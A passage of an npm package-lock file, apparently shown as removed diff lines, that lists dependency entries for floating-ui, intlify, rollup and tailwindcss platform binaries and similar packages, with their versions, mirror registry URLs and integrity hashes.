"sha512-9gZSAI5XM36880PPMm//9dfiEngYoC6Am2izES1FF406YFsjvyBMmeJ2g4SAju3xWwtuynNRFL2s9hgxpLI5SQ==", - "license": "MIT", - "dependencies": { - "@floating-ui/core": "^1.7.5", - "@floating-ui/utils": "^0.2.11" - } - }, - "node_modules/@floating-ui/utils": { - "version": "0.2.11", - "resolved": "https://registry.npmmirror.com/@floating-ui/utils/-/utils-0.2.11.tgz", - "integrity": "sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg==", - "license": "MIT" - }, - "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmmirror.com/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmmirror.com/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.1", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmmirror.com/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@intlify/core-base": { - "version": "9.14.4", - "resolved": "https://registry.npmmirror.com/@intlify/core-base/-/core-base-9.14.4.tgz", - "integrity": "sha512-vtZCt7NqWhKEtHa3SD/322DlgP5uR9MqWxnE0y8Q0tjDs9H5Lxhss+b5wv8rmuXRoHKLESNgw9d+EN9ybBbj9g==", - "license": "MIT", - "dependencies": { - "@intlify/message-compiler": "9.14.4", - "@intlify/shared": "9.14.4" - }, - "engines": { - "node": ">= 16" - }, - "funding": { - "url": "https://github.com/sponsors/kazupon" - } - }, - "node_modules/@intlify/message-compiler": { - "version": "9.14.4", - "resolved": "https://registry.npmmirror.com/@intlify/message-compiler/-/message-compiler-9.14.4.tgz", - "integrity": "sha512-vcyCLiVRN628U38c3PbahrhbbXrckrM9zpy0KZVlDk2Z0OnGwv8uQNNXP3twwGtfLsCf4gu3ci6FMIZnPaqZsw==", - "license": "MIT", - "dependencies": { - "@intlify/shared": "9.14.4", - "source-map-js": "^1.0.2" - }, - "engines": { - "node": ">= 16" - }, - "funding": { - "url": "https://github.com/sponsors/kazupon" - } - }, - "node_modules/@intlify/shared": { - "version": "9.14.4", - "resolved": "https://registry.npmmirror.com/@intlify/shared/-/shared-9.14.4.tgz", - "integrity": "sha512-P9zv6i1WvMc9qDBWvIgKkymjY2ptIiQ065PjDv7z7fDqH3J/HBRBN5IoiR46r/ujRcU7hCuSIZWvCAFCyuOYZA==", - "license": "MIT", - "engines": { - "node": ">= 16" - }, - "funding": { - "url": "https://github.com/sponsors/kazupon" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.13", - "resolved": "https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/remapping": { - "version": "2.3.5", - "resolved": "https://registry.npmmirror.com/@jridgewell/remapping/-/remapping-2.3.5.tgz", - "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@popperjs/core": { - "name": "@sxzz/popperjs-es", - "version": "2.11.8", - "resolved": "https://registry.npmmirror.com/@sxzz/popperjs-es/-/popperjs-es-2.11.8.tgz", - "integrity": "sha512-wOwESXvvED3S8xBmcPWHs2dUuzrE4XiZeFu7e1hROIJkm02a49N120pmOXxY33sBb6hArItm5W5tcg1cBtV+HQ==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/popperjs" - } - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.0.tgz", - "integrity": "sha512-WOhNW9K8bR3kf4zLxbfg6Pxu2ybOUbB2AjMDHSQx86LIF4rH4Ft7vmMwNt0loO0eonglSNy4cpD3MKXXKQu0/A==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.0.tgz", - "integrity": "sha512-u6JHLll5QKRvjciE78bQXDmqRqNs5M/3GVqZeMwvmjaNODJih/WIrJlFVEihvV0MiYFmd+ZyPr9wxOVbPAG2Iw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.0.tgz", - "integrity": "sha512-qEF7CsKKzSRc20Ciu2Zw1wRrBz4g56F7r/vRwY430UPp/nt1x21Q/fpJ9N5l47WWvJlkNCPJz3QRVw008fi7yA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.0.tgz", - "integrity": "sha512-WADYozJ4QCnXCH4wPB+3FuGmDPoFseVCUrANmA5LWwGmC6FL14BWC7pcq+FstOZv3baGX65tZ378uT6WG8ynTw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.0.tgz", - "integrity": "sha512-6b8wGHJlDrGeSE3aH5mGNHBjA0TTkxdoNHik5EkvPHCt351XnigA4pS7Wsj/Eo9Y8RBU6f35cjN9SYmCFBtzxw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.0.tgz", - "integrity": "sha512-h25Ga0t4jaylMB8M/JKAyrvvfxGRjnPQIR8lnCayyzEjEOx2EJIlIiMbhpWxDRKGKF8jbNH01NnN663dH638mA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.0.tgz", - "integrity": "sha512-RzeBwv0B3qtVBWtcuABtSuCzToo2IEAIQrcyB/b2zMvBWVbjo8bZDjACUpnaafaxhTw2W+imQbP2BD1usasK4g==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.0.tgz", - "integrity": "sha512-Sf7zusNI2CIU1HLzuu9Tc5YGAHEZs5Lu7N1ssJG4Tkw6e0MEsN7NdjUDDfGNHy2IU+ENyWT+L2obgWiguWibWQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.0.tgz", - "integrity": "sha512-DX2x7CMcrJzsE91q7/O02IJQ5/aLkVtYFryqCjduJhUfGKG6yJV8hxaw8pZa93lLEpPTP/ohdN4wFz7yp/ry9A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.0.tgz", - "integrity": "sha512-09EL+yFVbJZlhcQfShpswwRZ0Rg+z/CsSELFCnPt3iK+iqwGsI4zht3secj5vLEs957QvFFXnzAT0FFPIxSrkQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.0.tgz", - "integrity": "sha512-i9IcCMPr3EXm8EQg5jnja0Zyc1iFxJjZWlb4wr7U2Wx/GrddOuEafxRdMPRYVaXjgbhvqalp6np07hN1w9kAKw==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.0.tgz", - "integrity": "sha512-DGzdJK9kyJ+B78MCkWeGnpXJ91tK/iKA6HwHxF4TAlPIY7GXEvMe8hBFRgdrR9Ly4qebR/7gfUs9y2IoaVEyog==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.0.tgz", - "integrity": "sha512-RwpnLsqC8qbS8z1H1AxBA1H6qknR4YpPR9w2XX0vo2Sz10miu57PkNcnHVaZkbqyw/kUWfKMI73jhmfi9BRMUQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.0.tgz", - "integrity": "sha512-Z8pPf54Ly3aqtdWC3G4rFigZgNvd+qJlOE52fmko3KST9SoGfAdSRCwyoyG05q1HrrAblLbk1/PSIV+80/pxLg==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.0.tgz", - "integrity": "sha512-3a3qQustp3COCGvnP4SvrMHnPQ9d1vzCakQVRTliaz8cIp/wULGjiGpbcqrkv0WrHTEp8bQD/B3HBjzujVWLOA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.0.tgz", - "integrity": "sha512-pjZDsVH/1VsghMJ2/kAaxt6dL0psT6ZexQVrijczOf+PeP2BUqTHYejk3l6TlPRydggINOeNRhvpLa0AYpCWSQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.0.tgz", - "integrity": "sha512-3ObQs0BhvPgiUVZrN7gqCSvmFuMWvWvsjG5ayJ3Lraqv+2KhOsp+pUbigqbeWqueGIsnn+09HBw27rJ+gYK4VQ==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.0.tgz", - "integrity": "sha512-EtylprDtQPdS5rXvAayrNDYoJhIz1/vzN2fEubo3yLE7tfAw+948dO0g4M0vkTVFhKojnF+n6C8bDNe+gDRdTg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.0.tgz", - "integrity": "sha512-k09oiRCi/bHU9UVFqD17r3eJR9bn03TyKraCrlz5ULFJGdJGi7VOmm9jl44vOJvRJ6P7WuBi/s2A97LxxHGIdw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.0.tgz", - "integrity": "sha512-1o/0/pIhozoSaDJoDcec+IVLbnRtQmHwPV730+AOD29lHEEo4F5BEUB24H0OBdhbBBDwIOSuf7vgg0Ywxdfiiw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.0.tgz", - "integrity": "sha512-pESDkos/PDzYwtyzB5p/UoNU/8fJo68vcXM9ZW2V0kjYayj1KaaUfi1NmTUTUpMn4UhU4gTuK8gIaFO4UGuMbA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.0.tgz", - "integrity": "sha512-hj1wFStD7B1YBeYmvY+lWXZ7ey73YGPcViMShYikqKT1GtstIKQAtfUI6yrzPjAy/O7pO0VLXGmUVWXQMaYgTQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.0.tgz", - "integrity": "sha512-SyaIPFoxmUPlNDq5EHkTbiKzmSEmq/gOYFI/3HHJ8iS/v1mbugVa7dXUzcJGQfoytp9DJFLhHH4U3/eTy2Bq4w==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.0.tgz", - "integrity": "sha512-RdcryEfzZr+lAr5kRm2ucN9aVlCCa2QNq4hXelZxb8GG0NJSazq44Z3PCCc8wISRuCVnGs0lQJVX5Vp6fKA+IA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.60.0", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.0.tgz", - "integrity": "sha512-PrsWNQ8BuE00O3Xsx3ALh2Df8fAj9+cvvX9AIA6o4KpATR98c9mud4XtDWVvsEuyia5U4tVSTKygawyJkjm60w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@tailwindcss/node": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/node/-/node-4.2.2.tgz", - "integrity": "sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/remapping": "^2.3.5", - "enhanced-resolve": "^5.19.0", - "jiti": "^2.6.1", - "lightningcss": "1.32.0", - "magic-string": "^0.30.21", - "source-map-js": "^1.2.1", - "tailwindcss": "4.2.2" - } - }, - "node_modules/@tailwindcss/oxide": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide/-/oxide-4.2.2.tgz", - "integrity": "sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 20" - }, - "optionalDependencies": { - "@tailwindcss/oxide-android-arm64": "4.2.2", - "@tailwindcss/oxide-darwin-arm64": "4.2.2", - "@tailwindcss/oxide-darwin-x64": "4.2.2", - "@tailwindcss/oxide-freebsd-x64": "4.2.2", - "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.2", - "@tailwindcss/oxide-linux-arm64-gnu": "4.2.2", - "@tailwindcss/oxide-linux-arm64-musl": "4.2.2", - "@tailwindcss/oxide-linux-x64-gnu": "4.2.2", - "@tailwindcss/oxide-linux-x64-musl": "4.2.2", - "@tailwindcss/oxide-wasm32-wasi": "4.2.2", - "@tailwindcss/oxide-win32-arm64-msvc": "4.2.2", - "@tailwindcss/oxide-win32-x64-msvc": "4.2.2" - } - }, - "node_modules/@tailwindcss/oxide-android-arm64": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.2.2.tgz", - "integrity": "sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-darwin-arm64": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.2.2.tgz", - "integrity": "sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-darwin-x64": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.2.2.tgz", - "integrity": "sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-freebsd-x64": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.2.2.tgz", - "integrity": "sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.2.2.tgz", - "integrity": "sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.2.2.tgz", - "integrity": "sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-arm64-musl": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.2.2.tgz", - "integrity": "sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-x64-gnu": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.2.2.tgz", - "integrity": "sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-linux-x64-musl": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.2.2.tgz", - "integrity": "sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-wasm32-wasi": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.2.2.tgz", - "integrity": "sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==", - "bundleDependencies": [ - "@napi-rs/wasm-runtime", - "@emnapi/core", - "@emnapi/runtime", - "@tybys/wasm-util", - "@emnapi/wasi-threads", - "tslib" - ], - "cpu": [ - "wasm32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "@emnapi/core": "^1.8.1", - "@emnapi/runtime": "^1.8.1", - "@emnapi/wasi-threads": "^1.1.0", - "@napi-rs/wasm-runtime": "^1.1.1", - "@tybys/wasm-util": "^0.10.1", - "tslib": "^2.8.1" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.2.2.tgz", - "integrity": "sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-win32-x64-msvc": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.2.2.tgz", - "integrity": "sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/vite": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/@tailwindcss/vite/-/vite-4.2.2.tgz", - "integrity": "sha512-mEiF5HO1QqCLXoNEfXVA1Tzo+cYsrqV7w9Juj2wdUFyW07JRenqMG225MvPwr3ZD9N1bFQj46X7r33iHxLUW0w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@tailwindcss/node": "4.2.2", - "@tailwindcss/oxide": "4.2.2", - "tailwindcss": "4.2.2" - }, - "peerDependencies": { - "vite": "^5.2.0 || ^6 || ^7 || ^8" - } - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmmirror.com/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmmirror.com/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "dev": true, - "license": "MIT" - 